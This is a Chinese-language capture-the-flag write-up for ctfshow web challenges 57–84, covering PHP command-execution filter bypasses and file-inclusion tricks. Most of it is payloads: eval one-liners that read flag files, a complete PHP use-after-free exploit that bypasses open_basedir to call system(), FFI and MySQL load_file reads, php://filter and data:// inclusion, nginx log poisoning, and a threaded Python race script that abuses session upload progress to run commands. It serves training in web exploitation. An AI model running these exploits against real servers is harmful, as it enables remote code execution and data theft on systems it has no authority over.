Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------349241911439794304192858724099
Content-Length: 361
Connection: close
Cookie: UM_distinctid=17a32dd57bc2ad-0ac4229db2de46-4c3f2d73-1fa400-17a32dd57bd911
Upgrade-Insecure-Requests: 1

-----------------------------349241911439794304192858724099
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

cat flag.php
-----------------------------349241911439794304192858724099
Content-Disposition: form-data; name="submit"

提交
-----------------------------349241911439794304192858724099--

image-20210728194331502

image-20210728194410844

web57

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

把问号也过滤了 同时定向system函数里cat命令查看php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$(()) = 0
$(( ~$(()) )) = -1
$((~$(()))) = -1
$(( ~$(()) $((~$(()))) )) = -2
$(( ~$(()) $((~$(()))) $((~$(()))) )) = -3

最后再把构造的字符str放进 $((~ str )) 进行取反

假设把-3放入



$((~ $(( ~$(()) $((~$(()))) $((~$(()))) )) )) = 2

假设把2放入

$((~ $((~ $(( ~$(()) $((~$(()))) $((~$(()))) )) )) )) = -3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
取反运算符~详解:https://zhuanlan.zhihu.com/p/261080329
原码、反码、补码知识详细讲解:https://blog.csdn.net/zl10086111/article/details/80907428

取反原理:
就是补码取反

-3取反为2为例

第一位为符号位

1000 0101 = -3

二进制原码: 1000 0011

取补码 :
1000 0011 取反码 1111 1100 +1为补码 1111 1101

补码 1111 1101 取反 0000 0010

系统输出时,由于他的符号位是0,系统认为这是一个正数的补码

正数补码即原码,最终输出0000 0010=2

2取反为-3为例


0000 0010 = 2

二进制原码: 0000 0010

取补码:
正数的原码即补码 0000 0010

0000 0010 取反 1111 1101

系统输出时,由于他的符号位是1,系统认为这是一个负数的补码

负数输出时,先将系统认为的这个补码减一得反码1111 1100 再取反码就得到了原码 1000 0011 = -3

小脚本

1
2
3
4
5
6
# -*- coding: utf-8 -*-
# @Author : Summer
# @Time : 2021/7/28 20:09
# @Function:
str='$((~$((~$(())' + '$((~$(())))'*int(input('请输入想要构造的数字:')) + ')))) '
print(str)
1
?c=$((~$((~$(())$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

乍一看简单的命令执行 试了一下危险函数都被禁了

1
2
c=highlight_file('flag.php');
c=show_source('flag.php');

之前的题目payload

1
?c=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
1
?c=show_source(array_rand(array_flip(scandir(current(localeconv())))));

学习一下Y4师傅的payload

1
2
3
4
首先要获取文件路径,在这里我们可以用两种方式,我暂时想到这两种
c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}因为没有任何过滤我们便可以读取任意的文件
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
1
2
3
4
5
6
//通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释`file — 把整个文件读入一个数组中`
1
2
3
4
5
6
7
8
9
10
11
通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
1
2
3
//通过高亮显示php文件
show_source("flag.php");
highlight_file("flag.php");

web59

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
2
c=highlight_file('flag.php');
c=show_source('flag.php');

学习一下Y4师傅的payload

1
2
3
4
5
6
7
8
9
10
首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下

//paylaod汇总
c=highlight_file("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
2
c=highlight_file('flag.php');
c=show_source('flag.php');

学习一下Y4师傅的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下

//payload汇总
c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}

同时记录一个,但是这道题不能用
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用

还有新姿势

//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt"); //过60
rename("flag.php","flag.txt"); //过60

先执行c=copy(“flag.php”,”flag.txt”); 再访问 太厉害了

rename(“flag.php”,”flag.txt”); 直接把flag改成静态文件的名字

web61

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
2
c=highlight_file('flag.php');
c=show_source('flag.php');

学习一下Y4师傅的payload

1
2
3
4
5
6
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));

//payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web62

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
2
c=highlight_file('flag.php');
c=show_source('flag.php');

学习一下Y4师傅的payload

1
2
3
4
5
6
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));

//payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web63

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
2
c=highlight_file('flag.php');
c=show_source('flag.php');

学习一下Y4师傅的payload

1
2
3
4
5
6
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));

//payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web64

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
2
c=highlight_file('flag.php');
c=show_source('flag.php');

学习一下Y4师傅的payload

1
2
3
4
5
6
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));

//payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web65

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
2
c=highlight_file('flag.php');
c=show_source('flag.php');

学习一下Y4师傅的payload

1
2
3
4
5
6
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));

//payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

2020/7/30

web66

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

用c=highlight_file(‘flag.php’);读取flag.php文件

回显不在这里

想办法读一下目录

1
2
3
c=print_r(scandir('/'));

c=var_dump(scandir('/'));

可以看到第六个文件是flag.txt

show_source函数被禁了

show_source() has been disabled

1
c=highlight_file('/flag.txt');
1
2
3
4
5
6
csdn:
//下面是payload
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

web67

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

print_r函数被禁了

用var_dump函数读取目录

1
c=var_dump(scandir('/'));

然后读取flag文件

1
c=highlight_file('/flag.txt');
1
2
3
4
5
6
csdn:
//下面是payload
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

web68

打开就显示函数错误 因为highlight_file()函数禁了 看不到源码了 不管那么多 先看一下目录

1
c=var_dump(scandir('/'));

发现了flag.txt

直接开始读

发现这俩个函数都禁了

1
2
c=highlight_file('flag.php');
c=show_source('flag.php');

换新的

1
c=include('/flag.txt');

web69

想读目录 var_dump print_r也禁了

看目录新姿势

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

然后读文件

1
c=include('/flag.txt');
1
2
3
4
5
csdn:
//payload介绍
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web70

和web69一样 但是多了几个函数的禁用

1
c=include('/flag.txt');

web71

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

增加了两个新函数

ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

image-20210730124234719

image-20210730124242809

image-20210730124344601

image-20210730124357667

简而言之就是把该输出的内容放进$s 然后抹去输出 经过匹配替换后再输出内容

本地实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$a = 'system("whoami");';
eval($a);
//正常输出
<?php
$a = 'system("whoami");';
eval($a);
ob_get_contents();
ob_end_clean();
//无输出
<?php
$a = 'system("whoami");';
eval($a);
$c = ob_get_contents();
ob_end_clean();
echo $c.'1';
//输出的是最后一行 与题目一样 前面的命令执行被抹除了

新技巧:这里只要让脚本提前终止运行就可以了

1
c=include('/flag.txt');exit();

web72

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

flag.txt已经不在了

读目录

1
2
3
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

看到flag0.txt 但是却不能读

看提示里说利用uaf的脚本进行命令执行

了解到知识点是 bypass open_basedir

现成的脚本:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

ctfshow版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

用bp发包 url编码后赋值给参数c

image-20210730140752887

web73

读目录:

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

看到flagc.txt

做法一:
1
c=require('/flagc.txt');exit();
做法二:
1
2
3
4
post:c=include($_GET['url']);exit();
post:c=include($_GET['url']);ob_end();

get:?url=php://filter/convert.base64-encode/resource=/flagc.txt

web74

读目录:

1
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

看到flagx.txt

1
c=require_once('/flagx.txt');exit();

web75

读目录:

1
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

看到flag36.txt

但是用之前的函数读不了了

新技巧:看了wp是用mysql load_file读文件 太秀了。。。

1
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

美化版:

1
2
3
4
5
6
7
8
9
10
11
12
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
}
catch (PDOException $e) { //捕捉异常
echo $e->getMessage();
exit(0);
}
exit(0);

web76

读目录:

1
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

看到flag36d.txt

用mysql load_file读文件

1
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

web77

读目录:

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

看到flag36x.txt 还有一个readflag文件

新技巧:

FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html

什么是FFI

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

1
2
3
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
1
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);exit();

利用该payload执行readfile 将文件输出到当前目录下的1.txt

然后通过url直接访问就可以

文件包含

web78

源码:

1
2
3
4
5
6
7
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
1
2
3
?file=php://filter/read=convert.base64-encode/resource=flag.php

?file=php://filter/convert.base64-encode/resource=flag.php

web79

源码:

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

利用str_replace函数把php替换成了???

用另一个伪协议

1
2
3
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=

PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs= //<?php system('tac flag.php');

web80

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了data 上一题的payload不能用了

随便访问一个不存在的文件可以看到服务器是nginx

image-20210730152304794

区包含日志文件

1
?file=/var/log/nginx/access.log

因为太乱了 不好看 所以直接传个马

image-20210730153039191

image-20210730153126544

image-20210730153144650

这样也可以

image-20210730153327503

web81

源码:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

包含日志文件 然后包含UA

1
?file=/var/log/nginx/access.log

image-20210730153515245

web82

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

因为过滤了. 无法继续包含access.log了

新技巧:

session.upload_progress进行文件包含

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含 - NPFS - 博客园 cnblogs.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
问题一

代码里没有session_start(),如何创建session文件呢。

解答一

其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

问题二

但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,

如何进行rce呢?

解答二

此时我们可以利用竞争,在session文件内容清空前进行包含利用。




session是以文件的形式保存的
php.ini中有个配置项–session.save_path= "";这个里面填写的路径,将会使session文件保存在该路径下。

session文件的命名格式是:sess_[PHPSESSID的值]。每一个文件,里面保存了一个会话的数据。其实只要使用代码$_SESSION['user_id'] = $value;就会促发php的session机制,结果往对应的session文件中写入一个值。

利用前要弄明白下面几个点:

session文件默认路径
默认路径:
linux: /tmp 或 /var/lib/php/session
Windows:C:\WINDOWS\Temp


session文件名称
默认文件名称是 sess_[PHPSESSID的值]
ps: session.use_strict_mode默认值为0, 此时用户是可以自己定义Session ID
比如,我们在Cookie里设置PHPSESSID=test,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO


session生成机制:
a. 代码里面有session_start()在使用类似$_SESSION['user_id'] = $value;这样的操作时会创建session文件
b. 如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start(),但默认情况下,这个选项都是关闭的。


如何控制session文件内容
a. session的key或者value等可控
b.利用session.upload_progress
在session.upload_progress.enabled = on的配置下,upload_progress功能开始.意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度,上传文件名等)存储在session当中 ,但是要注意session.upload_progress.cleanup = on配置,on表示当文件上传结束后,php将会立即清空对应session文件中的内容(可以利用条件竞争来读取)
session.uoload_progress一些别的配置:
session.upload_progress.prefix 默认值为upload_progress_
session.upload_progress.name : The name of the key to be used in $_SESSION storing the progress information.Defaults to “PHP_SESSION_UPLOAD_PROGRESS”
如 session.upload_progress.prefix = 'upload_progress_' session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下,上传文件:

可以通过上传PHP_SESSION_UPLOAD_PROGRESS

然后进行访问/tmp/sess_xxx,进行文件包含

构造上传

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://addf542d-ec14-4925-b7ed-0a36a4d564dd.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> //关键点
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

第一个post包

image-20210730162018162

image-20210730162058438

第二个get包

image-20210730162032534

一起开启爆破

image-20210730162153103

看到fl0g.php

修改post包的payload

image-20210730162252493

继续同时发包

image-20210730162239561

通杀脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'flag'
url = 'http://7920d625-4983-43eb-9d4f-335e57303fd0.chall.ctf.show/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

2021/8/4

web83

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}else{
highlight_file(__FILE__);
}

比上一题多了两个函数

session_unset();
session_destroy();

出现警告 在进行使用session_destroy()函数必须先调用session_start()函数。

构造上传

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://9d4ecb4e-30d2-405b-860a-87a76d92636e.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> //关键点
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

第一个post包

image-20210804205348930

第二个get包

image-20210804205414642

一起开启爆破 得到flag文件名

image-20210804205455864

修改脚本 读取flag

image-20210804205603718

image-20210804205548412

web84

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

还是与之前一样 利用条件竞争读取

这次换个方式 改用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'flag'
url = 'http://7f361bb4-bfdc-40f2-b785-27c7fd0ce035.challenge.ctf.show:8080/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
